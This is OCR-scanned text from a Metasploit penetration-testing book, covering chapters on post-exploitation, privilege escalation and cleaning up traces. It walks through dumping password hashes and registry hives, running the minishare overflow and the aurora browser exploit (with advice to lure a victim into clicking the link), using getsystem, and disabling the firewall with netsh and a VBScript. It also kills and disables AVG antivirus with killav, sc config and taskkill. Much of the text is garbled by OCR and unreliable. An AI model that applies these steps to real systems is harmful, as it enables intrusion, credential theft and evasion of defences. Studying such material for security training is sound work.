I'IIH ACOoEis, Tt

i=f mstd logs/ecripts winenes EXPLOLT - OFEZESD_ 281383

net sesnien, tut

aet share, 1xt

netsh firewall shew config.txt
netstat  mao.txt

netitat  ms, txt

Fodadd

propraes List.csy
route print,tet
tasklist swe.txt
tokens . txt
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23. In this directory, we can see some data being saved in the TXT and CSV
formats. Now we can open any report as per our need. Here we are opening
hashdump. txt, so type in cat hashdump.txt:

0 Jasfa/Logs/scripts/winenen/EXFLOLT-BFE2450 20130327, 2532 |cat hashd
Ihlmstra'rnr 500: ddefrelf4abd2 1 caaadibiisb5l40dee : 32008 Thdb5 fdcSe9cbalBIATIT6E 1804 : |
west 581 4adind 1505 1404eeaad1b4 15051 40400 - 1106 fefd 1646931073 550TeBCOBICH: 1 1

HelpAssistant:1068: 64cT523c5a0d  eatei il cBbSedf 6310 : bI6TETS 1253023304 cOc 200ac 33T ad3: 1
SUPPORT 358945a0: 1002: aadabddshilddeeaad Ib43505 14040 2 10994d 12867 794cb 093 358ed 304329 1 :
Victim: 1803 :aad3b43505 14040 ea003043505 140000 : 31062 fefd 164093 1hT3e 590 Te0BB9c0: 1

Here we can see all the dumped hashes of the different users.

24. The last script that we are going to use for this lab is called scraper. This
script can be used for dumping additional information (such as extracting the
entire registry key) that is not included in any other enumeration script from
the victim's system. Type in run scraper:

Mew Sesslon om 1% bHE. 0. 104: 1035,

[ )

[*] Gathering basic 55"5'[e= J_nf-nrruar.inn
[® | Dumping password hashes. .

[#] Obtaining the entire FE'I;:I.SI'I‘F

[#*] Exporting HKCU

i= Downloading HECU (C:\DOCUME=1'wictimy LOCALS=-1\Tenp\DOWREYgk. reg)
[*] Cleaning HKCU

I' Exporting HELM

[*] Downloading HELM {C:\DOCUME~1\victim\LOCALS~1\TenphyBidZDXyY. regl
[*] <Cleaning HKLM

i* Exporting HKCC

[*] Downloading HKCC |C:\DOCUME=-1\victim\LOCALS~1\Temp\qlLFhOjqu.reg)
[*] Cleaning HKCC

i= Exporting HECR

i®
I
i
I*
I
[*)

Cleaning HKCR
Exporting HEU
Downlosding HEU [C:\DOCUME=-1\wictim\LOCALS~-1\Temp\e¥IcrykH. reg)
| Cleaning WKL
Completed processing on 192.168.0.104:1035. ..
s ttr-ret:r > E

I
]
I
| Downloading HECR (C:\DOCUME-1\victim\LOCALS~1\Tenp\ | Yow]xwC. reg)
I
I
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We can see in the preceding screenshot that after running the
script, it starts dumping hashes, registry keys, and basic system
information, and it saves the report in the .msf4/logs/scripts/
scraper/192.168.0.104_20130327.563889503 directory.

~/.msf4/logs/scripts/scraper/192.168.9.104_20130327.5638895032
hashes.txt HKCR.reg MKLM.reg localgroup.txt network,txt
HKCC.reg  HKCU.reg HKU.reg nethood. txt services.txt

We can see that many results have been saved in this directory in the
TXT format.

25. We'll now open up a result as an example, so type in cat services.txt:

o tEbE i=/ omsfa/ Logs /scripts/ scraper /192, 168, 0. 104_19130017 . 5838085004 jcat services. txt

These Windows services are started:

Application Layer Galeway Service
Automatic Updates

(s Event System

Computér Browier

Cryptographic Services

DCOM Server Proecess Launcher
DHCP Client

Bistributed Link Tratking Client
oS Cljent

Error Reperting Service

Event Log

Fast User Switching Compatibility
Help and Support

IPSEC Services

Logical Disk Manager

hetwork Connections

Metwork Location Awarensss (NLA)
Plug and Play

Print Spocler

In the preceding screenshot, we can see the different Windows Services
running on the victim's system.
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Summary

In this chapter, we went through the first phase of post exploitation in which we
made an attempt to understand our victim better. Once we had the meterpreter
session running, we leveraged it to gather important system information, hardware
details, and so on. We used meterpreter scripts to dump the Windows registry and
the password hashes. The attacker was able to get a list of the programs installed

on the victim's machine. Using post exploitation techniques, we were able to
enumerate the victim's hard disk information, including the physical and logical
partitions. Further penetrating into the victim's system, we could gather the network
information and make changes to the host's record file. In the next chapter, we will
move on to the next phase of post exploitation: privilege escalation.
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topics covered in this chapter:

e http://www.pentest-standard.org/index.php/Post_Exploitation
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e http://cyruslab.wordpress.com/2012/03/09/metasploit-post-
exploitation-with-meterpreter-2/

e http://em3rgency.com/meterpreter-post-exploitation/
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Post Exploitation — Privilege
Escalation

In the previous chapter we went through the post-exploitation techniques. Post
exploitation is divided into five different phases. This chapter will give a deep
understanding of the first phase of post exploitation, which is Privilege Escalation.
We will be covering new techniques and tricks on how to escalate our privileges
once we have gained access to the system.

Understanding Privilege Escalation

Privilege Escalation in simple terms is gaining elevated privileges to resources that
are normally protected and whose access is denied to normal or unauthorized users.
Through escalated privileges, a malicious user may perform unauthorized actions
and cause harm to the computer or the whole network. Simple examples of things
you can do after privilege escalation are installing malicious software for unethical
uses, deleting user files, denying resources to a particular user, and viewing private
information. It may usually occur by compromising a system using an exploit based
on vulnerability. This security misconfiguration or weakness may cause the security
perimeter or the authentication to be bypassed and hence achieve privilege escalation.



Post Exploitation - Privilege Escalation

Privilege escalation is broadly divided into two major forms:

* Vertical Privilege Escalation: In this escalation of privileges, a lower
privileged user or application may access functions that are reserved only
for authorized or administrative users. This feature is also known as
privilege elevation.

* Horizontal Privilege Escalation: This escalation usually happens on a
horizontal scale with respect to user rights. A normal user accessing the
resources reserved for another normal user. This again is escalation of some
other person's resources, as technically only he should have privileges over
his resources.

There can be escalation scenarios due to multiple reasons - network intrusion,
vulnerability exposure, unmanaged accounts, security from obscurity, and others.
The approach followed is usually logging in and trying to get some basic information
about the computer, something similar to the information-gathering scenario.

Then the attacker may try to get hold of private information or maybe some user
credentials that may be linked to some important documents.

If we talk about Metasploit, running client-side exploits gives us the session with
only limited user rights. This may severely limit the attacker from compromising
the victim machine to the level he wants; for example, he may not be able to dump
password hashes, make changes in the system settings, or install backdoor Trojans.
Through very powerful scripts in Metasploit, such as getsystem, we may be able to
get system-level permissions on the root system.

Exploiting the victim's system

Now we will start the tutorial phase of privilege escalation. Here we are going to
exploit the victim's system by running a buffer overflow exploit in a small program
called Mini-share. Mini-share is free file-sharing software. It is free web server
software for Microsoft Windows. It is a quick and easy way to share files if you have
web hosting. Now open msfconsole and type in use exploit/windows/http/
minishare_get_overflow.
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After that, type in show options to see in detail all the options that we have to set in
the exploit.

msf > use exploit/windows/http/minishare get overflow
msf exploit{minishare get owertflow) b-

Module optiong |E1F‘1:‘1tfﬂ1nﬂmfhllpfml!lllﬂ'ﬂff qﬂ't owert
Lowi} 1

Mame Current 5etiing Reguired Descripilon

Prowies ne Use a proxy chain

AHOST oL The target addres
5

APOHRT ] yes The targei port

VHDST [l HTTP serger vLirtu
al host

verflaw) = J]

Now set all the options that are required; as we can see in the preceding screenshot,
RHOST is required. The RHOST option refers to the remote host address, which is the
target IP address. Type in set RHOST <Victim IP>; for example, here we are using
set RHOST 192.168.0.102.

msf exploit{minishare get overflow) >]set RHOST 192.168.8.102
RHOST == 192.168.8.182
msf exploit(minishare_get_overflow) > |}
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The second option that is required is RPORT. The RPORT option refers to the remote
port address, which is the target port number. Type in set RPORT <Victim port>;
for example, here we are using set RPORT 80.

Edit Viev Bookmarks Settings Help

msf exploit{minishare_get overflow) > set RPORT B8
RPORT == 80
msf exploit{minishare get overflow) > []

Now select the target system type. Type in show targets and it will show us all the
vulnerable target operating systems.

overflow) =|show targets

Exploit targefs:

Id MName

Windows 2808 5PA-5P3 English
Windows 2808 SP4 English
Windows XP 5P8-5F1 English
Windows XP SP2 English
Windows 2863 5P8 English
Windows NT 4.0 SP6

Windows XP SP2 German
Windows XP SP2 Polish
Windows xXP S5P2 French

(1]
1
FJ
E
4
3
[
T
B

explolti
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Now select the target according to your victim's system. Here we are selecting target
3. S50 we type in set TARGET 3.

msf exploit{minishare get overflow} > set TARGET 3
TARGET => 3
msf exploit{minishare get overflow) > |j

Now it is time to exploit the target. So we type in exploit.

msT explolt{minishar t overflow) > set TARGET 3
TRARGET == 3
st exploit{minishare_get_overflow) >]exploit]

[*] Started reverse handler on 192, 168.0.108:4444

[*] Trying target address @x71ab9372...

[*] Sending stage (752128 bytes] to 192.168.0.102

[*] HMeterpreter session 1 opened (192.168.0.1668:4444 -> 152.168.0.102:
1294) at 2013-04-11 21:19:58 +8538

melferpreter =

We can see that after exploiting the victim's machine we have a Meterpreter session.
Let us have a sneak peek into the victim's system. To get the user ID, type in getuid.
We see from the following screenshot that the user ID is NT AUTHORITY\SYSTEM.

[*] Meterpreter session 1 opened (192.168.0.100:4444 .

neterpreter :-
Server username: NT AUTHORITY\SYSTEM

meterpreter > |
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After that, we run getsystem -h for escalating the privileges in the victim's system.

seterpreter >[getsysten -

Usage: getsystem [options

Attempt to elevate your privilege to that of local system,

OPTIONS:

=h Help Banner.
-t <opt> The technique to use. [Default to "6°).

B : ALl techniques available

1 : Service - Hamed Pipe Impersonation (In Mesory/Admin)
2 i Service - Hamed Pipe Impersonation [DropperfAdmin)
3 : Service - Token Duplication (In Memory/Admin]

4 : Exploit - KiTrap8D (In Memory/User)

We can see in the previous screenshot that running getsystem —h, gives us a
bunch of options for privilege escalation. The first optionis 0 : All techniques
avai lable, which uses all techniques as default for escalating the privilege.

The terms used in the options for privilege escalation are as follows:

Named Pipe: It is a mechanism that enables inter-process communication for
applications to occur locally or remotely. The application that creates the pipe
is known as the pipe server, and the application that connects to the pipe is
known as the pipe client.

Impersonation: It is the ability of a thread to execute in a security context
that is different from that of the process that owns the thread. Impersonation
enables the server thread to perform actions on behalf of the client, but
within the limits of the client's security context. The problem arises when the
client has more rights than the server. Every user of an operating system is
provided a unique token ID. This ID is used to check the permission levels of
various users of the system.

Token Duplication: It works by copying the token ID of a higher privilege
user by a low privilege user. The lower privilege user then behaves in a
similar manner as the higher privilege user and acquires all the rights and
authorities as those of the higher privilege user.
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* KiTrap0OD: It was released in early 2010 and affected nearly every operating
system that Microsoft had made up till then. When access to 16-bit
applications is enabled on a 32-bit platform, it does not validate certain BIOS
calls properly, which allows local users to gain privileges to improperly
handled exceptions involving the #GP trap handler (nt'KiTrap0D), aka
Windows Kernel Exception Handler Vulnerability, by crafting a VDM_TIB
data structure in the Thread Environment Block (TEB).

Let us use the first option with all techniques available by typing in getsystem -t 0.

meterpreter > lgetsystem -t 0|

«««30% system (via technigque 1).

We can see the message after running the command .. .got system (via
technique 1).. Now we check the process list by typing in the ps command.

metsrpreter »

Process List

rrrrIrrTTTEl
#i0 Maeg AFEA  EldI0n  CMET [ 1L]
o [Syatem Process]
] Sysiem ks B NT AUTHERITY\SYSTEM
5 Logeh.acr g B0 EXPLOLT-FE2850n vl Lin U IR0 s Lo Lo . 4 1
S04 L L BT i B NI AUTHMITFSTSTEN (R AR T A E R T G R T
SER CErif.end ok B NT AUTHMITY SYETEM VTG | TR0 By T SR . e
552 u:l.ﬂ:t‘it-'\-.l'l.f Al 0 KT ATHORI T SVSTEN ~“'.{;thll:ltlt5u1'.'|!mu".u:nlu-;un (511
B MErviced.fae o B NT AUTIEITYSTITEM™ LR M- A EE L AT e N EE ]
030  liass.cwe i B KT AUTHOALTT S PSTEM 1\ WIS i b, L S8 eng
&3F  alg.ewe B B NT EOTHOATTTLOCAL SERVICE 3\ DS Lysemin al g . FiE
a0s FHCROLT el e B NE AUTMORLTT SIS TEM 7 O SR VRS
BT EWTRDER . #ul s B KT EUTHORITY, BETRORE TERVICE O3y WTMNDONT sys temI e ot e
PER  dvehoLN.éne i @ KT RUFTHONT T S TEN [ Pl TR N r R S A T
1817 wwchond,eng B 0 KT AUTHOALTYRETWOAK SERVICE o\ WTNDOWS sy Dol awcbosf. eae
10860 sviboil.gag s @ KT AUTHOALTYLOCAL SERvICE €2 T D s D e e P | e
1216 sisuchl. exe L EXFLOIT-BFE2S30NV1CTIN € NS s e T et L e
1268 wecwify.euw i 0 EXMLOLT-OFEMSSD wLETLS LR Lo AR R Ve T o G T
1800 esplorer.exe id B ENPLOLT - @FEIGA0N wictim CoyiMDOWs Bl arer. BIE
1480 spoolav. eue d B NT AUTHMITYLSETEM € TR i e, Spd 1 . Fa
BREEIpreter =
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Privilege escalation by post exploitation

Now we will show another technique for privilege escalation - using post-
exploitation modules. This module uses the built-in getsystem command to escalate
the current session to the SYSTEM account from an administrator user account.
When we get a Meterpreter session, type in run post/windows/escalate/
getsystem. This module will automatically escalate the administrator privileges.

nEtErpreter = |l"ul'| postfwindows fescalate/getsysten |

This session already has SYSTEM privileges
aterprater = JJ

Now we are going to use another post-exploitation script for local privilege
escalation. This module exploits the existing administrative privileges to obtain

a SYSTEM session. If it fails in the first instance, the module inspects the existing
services and looks for insecure file permissions that are vulnerable to an attack.
After that, it attempts to restart the replaced vulnerable service to run the payload.
Hence a new session gets created on a successful exploit.

Type in run post/windows/escalate/service_permissions; it will open another
Meterpreter session.

un post windows S escalaterservice ErmisEion

Fuithl ndgi

Started reverss handler on 192, 1580, 100 4444

Starting the payload handler.

Meterpreter stsger executable 15872 byted leog being uplosded..
Trying te ad3d & nil s@rvice.,

Crealed service, .. 3ISEINIT

Service shouild be started! Enjoy pour new TSTEM setferpreter feiilon

I Sending % T i’ o]
IEsiarprater -F" Htarpratar sddilon 1 nplrnmlll'i} 168 .8, b &444 -« 102, 1585.0.106:1041) at M11-4

[*] Session 50 I (192.0188.0.109:4444 -» 192.508.9.106:1 10411 procediing InltialAuTolunSerisn "Rigrate
[*] Current server procests rundllil.ece (L4520
[*] Spawning rotepad.sws process to migrate to

Migrating to 1148

Succmisfully migrated fo Drocess

=2 !IrE.-E! g = I

Just try a different exploit for compromising the target system, and after that
escalate the administrator privileges. Type in use exploit/windows/browser/
ms10_002_aurora.
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mst > use exploit/windows/browser/ms18 002 aurora
msT exploit(mslo 002 aurora) > |

Now type in show options to see in detail all the options that we have to set in
the exploit.

msf exploitimslo 602 aurora) = show options

Module options (exploit/windows/browser/mslo €02 auroral:

Name Current Selting Reguired Description
SRVHOST 0.9.9,8 yes§ The lacal host to
ERVPORT gaaa yES The Local port to
55L false no Negotlate 5sL for
SSLCert na Path to a custom S
Sslversion 55L3 na specify the wversio
URIPATH ni The URL Lo use for

Exploit target:

After this, set all the options that are required as shown in the preceding screenshot.
The SRVHOST option refers to the local host address to listen on. Type in set SRVHOST
<Victim IP>; for example, here we are using set SRVHOST 192.168.0.109.

Finally, we exploit the target by typing in exploit.

&f exploiti(mslo 002

[*) started reverse handler on 192, 168.0,109:4444
[*] Using URL: : - KT

[*] Server started.

pif exploitimsll 002 aurora) = ||
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We can see a URL created by Metasploit. Now we just need to give this URL to
the victim and lure him to click on it. After opening this URL in Internet Explorer,
the victim will get a Meterpreter session and after that you may go ahead with
privilege escalation attacks.

Summary

In this chapter we learned on how to elevate our privileges once we have
compromised a system. We used various scripts and post-exploitation modules to
achieve this task. Our ultimate goal was to achieve the level of privileges of a system
administrator so that we will be able to use the victim's machine as per our needs.
We were successful in achieving this task and gained administrator privileges to the
victim's machine. Only compromising the system will not achieve the ultimate goal;
we need to be able to leak out a victim's private information or make brutal changes
to his computer. The power of privilege escalation through Metasploit unlocks this
power and helps us achieve our target. In the next chapter, we will move on to the
next post-exploitation phase - clearing our tracks to save ourselves from getting
caught once we have compromised a system.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:

e http://en.wikipedia.org/wiki/Privilege_escalation

e http://www.offensive-security.com/metasploit-unleashed/
Privilege_Escalation

e http://vishnuvalentino.con/
tips-and-trick/privilege-escalation-in-metasploit-meterpreter-
backtrack-5/

* http://www.redspin.com/blog/2010/02/18/getsystem-privilege-
escalation-via-metasploit/

* http://www.securitytube.net/video/1188
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Post Exploitation — Cleaning
Up Traces

We covered the privilege escalation techniques using Metasploit in the previous
chapter. Next, we move on to the next phase of post exploitation, which is cleaning
tracks and traces through log deletion and staying undetected by disabling the
firewall and antivirus systems. In this chapter we will learn how to evade firewall
and antivirus system alerts once a system is compromised. Another important matter
for a hacker is how invisibly he performs his work. This is known as cleaning tracks
and traces; here, a malicious hacker clears logs and any alerts that may have been
created because of his intrusion.
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Disabling firewalls and other
network defenses

Why is a firewall important? A firewall is basically software or hardware that blocks
unauthorized entry to a system or network. A firewall also keeps track of intrusions
and security breaches. If the firewall is well-configured, each unauthorized entry is
blocked and logged in the security logs. It controls the incoming and outgoing network
traffic and analyzes the data packets; based on this, it decides whether it should allow
the packet through the firewall or not. So if a malicious user is able to exploit a system
remotely, the first step should be to disable the firewall so that no further alerts can be
logged by the firewall, which could show evidence of the intrusion.

CICIC]

A firewall is classified into three different types:

1. Packet Filter Firewall: These types of firewalls are associated with the first
three layers of the OSI Model with a little help from the transport layer as
well, for the source and destination port numbers. When a packet travels
towards the packet filter firewall, it is analyzed with the help of set rules to
match against. If the packet passes through the filters of the firewall, it is
allowed to enter the network, otherwise it is blocked.

2. Stateful Firewall: These are also called second-generation firewalls. As the
name suggests, these firewalls work on the states of a network connection.
Throughout the state, it determines whether to allow the packet into the
network or not.

3. Application Firewall: These are known as third-generation firewalls.
Application firewalls work on applications and protocols like HTTP, SMTP,
and SSH. They also help in detecting if an unwanted protocol is trying to
bypass the firewall on an allowed port.
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A firewall is one of the greatest enemies of a malicious user. It stops a malicious
user from using post-exploitation scripts and creating backdoors to compromised
systems. Hence an attacker's first objective should be to disable the firewall once he
compromises the system. In this chapter we will see how we can actually disable the
firewall through Metasploit and then work on unauthorized zones.

In this section, we will show you how to disable the firewall in the victim's system.
Before doing this, we will check the status of the firewall in the victim's system; that
is, is it enabled or disabled. To do this, we will use a post-exploitation script. So type
in run getcountermeasure.

IHL‘.IDLEI!L :-l run qu:nuntemasurel

Running GEtcountermeasure on the target...
Checking for contermeasures...
Getting Windows Built im Firewall configuration...

Domain profile configuration:

Operational mode = Enable
Exception mode = Enable

Standard profile configuration lcurrent):
| operational mode = Enable
Exceplion mode = Enable

7777777

Local Area Connection firewall configuration:

.......................................... TR Y

Operational mode = Enable

Checking DEP Suppart Policy... l
|meterpreter > [ |
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We can see in the preceding screenshot that the firewall is enabled in the

victim's system. There is another way to check the firewall settings in the victim's
system - by accessing his/her command prompt. For this, we have to open the
victim's shell from Meterpreter. The technique to open the shell from Meterpreter
has already been covered in previous chapters. We access the command prompt
and type in netsh firewall show opmode.

C:\Documents and S-H'I:ings\.ﬂ.drlmsi'lﬂ sh firewall show upmurde]
netsh firewall show cpmode

Dosain profile configuration:
Enable
Enable

Operational mode
Exception mode

standard profile configuration (current):

............................................................

perational mode = Enable]
Exceprion mode = Enable

Local Area Connection Tirewall configuration:

Operational mode = Enable

C:\Documents and Settings‘\aAdmin=J]

Now we can check the firewall settings of the system firewall. Let us verify it by
checking the victim's system to see if the firewall is enabled or not.
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Security essentials

ﬁ Firewall

{9 Automatic Updates

FEX
@ Security Center

Help protect your

Security Center halps you manags your Windows securiby settings. To help protect vour
computer, make sure the three security essentials are marked OM, IF the settings are nok C
Follow the recommendations. To return bo the Security Center later, open Cortrol Pansl,
wWhat's rew in Wintows bo help protect my computer?

PC

@ ON

O CHECK SETTINGS

Automatic Updates is not yet configured for this computer. Chck Turn on Automatic
Updates to have Windows automatically keep your computer current with important
updates (recommended), How does Automatic Uipdates help protect my computer?

L

*

We can clearly see that the firewall is in the active state. So now we need to disable it.
Type in netsh firewall show opmode mode=disable.

rooti@bi: -~

C:\Documents and Settingskﬂ.drlinhl netsh firewall set opsgde lﬂdtldl.ﬂlb‘ltl
netsh firewall set opeode mode=disable
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After executing the previous command, the command will disable the firewall
permanently. Let us now check the firewall status in the victim's system.

- [B[X]

(.

& Security Center

Help protect your PC

Security essentials

Security Center helps you manage yvour Windows security settings. To help protect your
computer, make sure the thres security essentials are marked ON, IF the settings are not C
Follow the recommendations. To return bo the Security Center laber, open Control Panel.
what's new in Windows to help protect my compltes 7

oo

Windowes detects that your compuber Is not currently protected by a Firewall. Click
Fecommendations ko leamn how ka Fbx this problem, How does a fireweall help probeck my
Lompiber?

Note: Windows does not detect all Firewals,

Lnummﬁm.. a
< »

Disabling firewalls through VBScript

There is another way to disable the firewall, that is, by executing a small Visual Basic
Script on the victim's system. Firstly, we have to write three lines of code in a text file.

Set objFirewall = CreateObject("'HNetCfg.FwMgr™)
Set objPolicy = objFirewall_LocalPolicy.CurrentProfile

objPolicy.FirewallEnabled = FALSE

Now save this code with a .vbs extension. For example, here we have named it
as disable.vbs.
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dsabievhs X

St objFirewnll = Createdbject|“HHetCfg. Fulgr=) I
et objPolicy = ob]Firewnll.LocalPolicy.CurrentProfile

objPolicy . Firewal LEnabled = FALSE

Plaln TEst v | TabWidth: B v Lnd, Col 34 L R |

Our script is ready; now we have to upload this script into the victim's system.
For uploading, we will use the Meterpreter upload command. Type in upload
<source file path> <destination file path>; for example, in our case, we
type in upload root/Desktop/disable.vbs C:\.

peterpreter > upload " froot/Desktopsrdisable.vbs” €2y

uploading :
uploaded : /Jroot/Desktop/disable.vbs -= Ciyvidisable.vbs
peterpreter »

Thus, we have uploaded our disable.vbs script into the victim's C: drive. Let us
check in the victim's C: drive to see if the script is uploaded or not.

+ |ocal Disk [C:)

thas e
L add o rereres
By AT

o Shagsh bt Fled or
Frodclairs

File anul Folder Tasks

J Poind s g o Folger
Fudieh the Foldes ¢
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We can see our disable.vbs file in the victim's C: drive. We can now execute this
script remotely. To execute this script, we have to go to this drive by typing in cd C:\.

rootiFbt: -

C:\Documents and Settings\Admin

il

We are in the victim's C: drive now and we can execute the script. So type in
disable.vbs and it will be executed in the victim's system.

rootEbt: =

Let us check if the victim's system firewall has been disabled or not by our script.

=13

% Security Center

Help protect your PC

Security essentials

Seturily Center helps you manage your Windows. seowity settings. To help probect yous
computer, maks sure the thres seturity essentishs are matked ON, If the seltings are nok O
Foliow the recommencations, To neturn Eo the Securty Coanbér laber, apen Controd Panesl,

‘Whal's rrew in wip b0 Besedsy proect o [

%= Firewall | @ OFF

Windows datects that vour computer is nat curmently protected by a Firewall, Cick
Recommendations to leatn how to fic this problem, How doss 5 frewal help protsct nny
tomputor?

Hicke: Windoves does not detect i frewals,

l Recommendations. .. s
¥

Yes, the firewall has been disabled successfully by our VBScript code.
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Antivirus killing and log deletion

Let us take a look at some of the exploitation issues in an antivirus program. There are
various things that an attacker needs to take care of after exploiting a system. This is
important if he wants to play safe and stay undetected. Antivirus software is one of
the main defense systems for a legitimate user, and if an attacker is able to disable it,
he has successfully gained full control over the system and can stay undetected. Hence
it is very important for an attacker to disable the antivirus system as a precautionary
measure to hide his/her existence. In this chapter, we will learn how to disable and kill
different antivirus programs through Meterpreter post-exploitation scripts.

I AVG
e & o

15 0o Cleflonoher

B TREND 9.y ?
Z.. McAfee

Frovwen Secariy”

In this section we will see how to stop antiviruses by killing their processes. For this
purpose, we will use a post-exploitation Meterpreter script known as killav. We will
show you the source code of the killav script and see how this script is able to kill
processes of the antivirus program.

Open the ki llav.rb script with a text editor, which is located at
opt/framework/msf3/scripts/killav.rb.

kiltav.ro M

print status(*Killing Antivirus services on the targe? 1

vl = oy
ARNTray . exg
Af - Asmmre , ENe
HEa5Cul . eue
ApIT Enm
AWpLL . eXE
AL B
aRvgADL  Bap
ACNg1nIZ . awa
Adind ME. EXE
A dhrEn  axe
BgEntive . ens
agent. sxd

T
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We can see a list of the names of processes of well-known antiviruses that are included
in the killav script. When we run this script, it looks for the process name in the
victim's system, which should also be included in this script, and then kills the process.

In our case, the victim is using AVG 2012 Antivirus. So first of all we will check the
process name for the AVG antivirus from the victim's task manager.

-

E Windows Task Manager E|@E|
File Options ‘Wiew Shut Down Help

| Applications | Processes | Performance | Metworking | Users |

Image Mame IJser Name ZPU 0 Mem Usage i
sychosk, exe oo 3,700 K
svrchosk, exe oo 4,344 K
YBEoxService.exe on 2,776k
lsass. exe oo 5,316 K
SErviCes,exe on 3,740
winlogon, exe oo 3,876 K
CShss, Bxe i) 3136k
aVOCsrY K, exe i) 14,165 K
agrax. exe

uTarrent.ex on 6,994 K
avatray . exe oo 6,445 K

We can see that the process name avgrsx. exe is running for the AVG antivirus
program. Let us check if the process name is included in the ki llav. rb script.

killav.ro M

BWE3 , exe

awgecil.exe i
avgetrl.exe

AVIERL . £ X8

avgseryd. exe
avguard ..exe
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We can see that the process name is already included, so the script will work
successfully. Type in run killav.

>
Killing Antivirus services on the target...|
Killing off avgrsx.exe...
rprefe :-l

We can see from the result in the preceding screenshot that the process has been
killed. Now we will access the victim's command prompt and type in tasklist for
checking all the processes that are running in the victim's system.

C:\Documents and Settings\Adsin

tasklist

Image Name PID Session Mame Session# Hem Usage
EETESFETETETEESEESEFTETENT EFEFTEYT ENFRSFREFEFEEEFTESY FEEEETEY FEEWSETEWWSEWE
System Idle Process @ Console ] 16 K
System 4 Console a 116,816 K
SHSS . eXE 568 Console <] IT2 K
C5FS5. EXE 1866 Console 8 3,452 K
winlogon.exe 1884 Console 2] 3,564 K
services.exe 1132 Console e 3,824 K
lsass.exe 1144 Console :] 5,268 K
VBoxService . exe 1364 Console ] 2,118 K
sychost ., axe 1352 Consola @ 4,536 K
svchost.exe 1446 Console 3] 3,764 K
svchost.exe 1612 Console 1] 19,868 K
svchost.exe 1720 Console @ 2:89%6 K
sychost . exe 1896 Console a 6,028 K
spoolsv. exe 112 Console <] 4,044 K
explorer.exe 428 Console 3] 15,368 K
VBoxTray.exe 560 Console 2] 2,236 K
avgLray. ene 596 Console ] 3,244 K
avgfws. exe 1784 Console 3] 20,266 K
avowdsve . Exe 1756 Console 3] 4,716 K
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We can also see a lot of processes running in the victim's system; we are now going to
categorize the processes to see which group they belong to. Type in tasklist /svc.

tasklist /sve

C:\Documents and SettingsyAdain

tasklist /swc

sychost . exp
sychost . exe
sychost.exe

Image Wame PID Services

Systenm Idle Process b0 Hia

Systen 4 Nra

SHLE , BXA T56 H/A

avgrsx. exe 836 HSA

ANGCE V. EXe BGE N/A

C5rss. exs 1056 KA

winlogon.exe 1080 H/A

services.exe 1124 Eventlog, PlugPlay
lsass.exe 1138 PolicyAgent, ProtectedStorage, Samss
VBoxService.exe 1296 VBOXSErvice

DeomLaunch, TermService

Rpcss

AudioSry, Browser, Cryptsve, Dhcp, dmserver,
ERSvc, EventSystem,
FastUserSwitchingCompatibility, helpsvec,
lanmanserver, Lanmanworkstation, Metman,
Hla, Schedule, seclogon, SENS, SharedAccess,
ShellHaDetaction, srservice, Themes, Tridks,
W3ZTime, winmgmt, wSCSVC, wuauserv, WECSVC

We are interested only in the AVG Antivirus services and not in the other services
that are being shown in the task list. So we will refine our search by typing in
tasklist /svc | find /1 "avg".

C:\Documents and Settings\Adminjtasklist /sve | find /1 "avg']
tasklist ssvc | find /I *avg"

AVQrsy.exe BIE N/A

BVGCS V. EXe BEE N/A

avg fws . Bxe 316 avgiws
avOwdsve . exe 368 avgwd
AVGIDSAgEnT . &xe 1288 AVGIDSAgent
HVGQNSE . Exe 1764 HfA
AVOEmCN , aXE 1888 N/A
BVgTray . exe 3168 N/A
AVgCSIvY, exe 3666 N/A
C:\Documents and Settings\Admin>
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After executing the command as shown in the preceding screenshot, we can see that
only the AVG-related processes are being shown. We have to kill all the processes,
but the two processes avgwdsvc . exe and AVGIDSAgent.exe will cause trouble at
the time of killing. The reason for this trouble is that these are not stoppable as seen
in the following screenshot. Here, we see the properties of avgwd by typing in sc
queryex avgwd.

C:hDocuments and Settings\Adminksc queryex awgwd |
st queryer avgwd

SERVICE MAME: avgwd

TYPE ;18 WIN3IZ oWl PROCESS
E T & FLHN T
{NOT STOPPABLE .NOT PAUSABLE .AC
CERTS ]
Wikiz EXIT CODE t 8 (exd)
SERVICE EXIT CODE : & f@x@)
CHECKPOINT HE L
WAIT HINT ; Bl
P LD 1 358
FLAGS I

C:\Docusents and Settingsh\adminsf]

You may notice in the state section in the preceding screenshot that this service is not

stoppable and cannot be paused either. But we can disable this service to get rid of
our problem.

Let us check the properties of another process, AVGIDSAgent. Type in
sc queryex AVGIDSAgent.

C:\Documents and Settings\Adminssc queryex AVGIDSAgent |
s¢ querysx AVGIDSAgent

SERVICE MAME: AVGIDSAgent

TYPE : 18 WIN3IZ OWM FROCESS
TRIE : 4 FURNING
(NOT STOPPABLE.MOT PAUSABLE, ACC
EPTS SH !

WIN32 EXIT CODE : 0 (0xn)
SERVICE EXIT CODE : @ (8xA)

CHECKPOINT :
WAIT HINT : G
PID : 1200
FLAGS 1

C:\Documents and Settings\Admine
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We can see the same result here - the service is not stoppable and cannot be paused.

Now we are going to disable the avgwd process. Type in sc config avgwd
start= disabled.

C:\Documents and Setljngs'mdrnin*{ config avgwd start= dnahledl

¢ config avgwd start= disabled
[5C] ChangeServiceConfig SUCLCESS

C:\Documents and Settings\Adminsf]

The avgwd service has been disabled as we can see in the preceding screenshot. Now

let us disable another process, AVGIDSAgent. Type in sc config AVGIDSAgent
start= disabled.

SDocuments and ':'-:rtingsudmmlsr. config AVGIDSAgent start= disahled]
sc config AVGIDSAgent start= dizabled
[5C] ChangeSeryiceConfig SUCCESS

:\Documents and Settings\Adminsf]

Now we exit the victim's command prompt and reboot the victim's system by typing
the reboot command in the Meterpreter session.

and Settings\Admin

-

Meterpreter session 1 closed. Reason: Died
peterpreter =
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After a successful reboot, we again enter a Meterpreter session in the victim's system.
Now what we have to do is search for all the AVG processes from the victim's
tasklist and verify whether the two processes that we had disabled are still running,.
We open the shell and type in tasklist /svc | find /1 "avg".

Ci\Documents and Settings\Admindtasklist fswe | Find /1 "awg"
tasklist fove | find /1 “awg®

AeQrix. EXe 832 N/A
RPQCE M. g Bad N/A
aif Furs . exe 3 avgfus
AT ray.exe d12 NfA

C:\Docusents and SettingsiAdmins

We can see that the two processes, avgwd and AVGIDSAgent, are not showing up
in the preceding screenshot. This means that the processes have been successfully
disabled. We can easily terminate the other AVG processes. For terminating a
process, type in taskkill /F /IM "avg*".

C:\Docusents and Ettllﬂil".ldhlﬁ!-!ihklll /F FIM “mwg*®

taskiklll /F FIM "avg*"
SUCCESS: The process “awgrsx.exe® with PID 632 has been terminated.
